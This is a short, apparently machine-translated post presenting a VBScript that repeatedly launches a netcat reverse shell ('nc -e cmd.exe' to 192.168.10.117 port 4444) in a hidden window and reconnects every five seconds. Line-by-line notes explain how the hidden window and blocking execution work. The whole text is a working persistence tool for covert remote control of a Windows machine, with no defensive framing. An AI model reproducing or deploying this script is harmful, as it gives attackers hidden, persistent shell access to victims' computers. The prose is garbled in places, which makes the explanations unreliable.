Today, I want to do the operation, but it is thought nc nc too lightweight so I did not find the cause of his reconnection function
- Then I think one of the windows artifact vbs script
vbs code is as follows
Dim a,b
set a= WScript.CreateObject("WScript.Shell")
do
a.Run"nc -e cmd.exe 192.168.10.117 4444",0,true
wscript.sleep 1000*5
loop
Explanation
a.Run"nc -e cmd.exe 192.168.10.117 4444",0,true
- Double quotes inside the command is executed without explanation
- 0 to hide the window
- true to blocking execution that is, waiting to exit and then perform nc
- So the behavior is performed first and then wait again link command nc wait five seconds before disconnecting links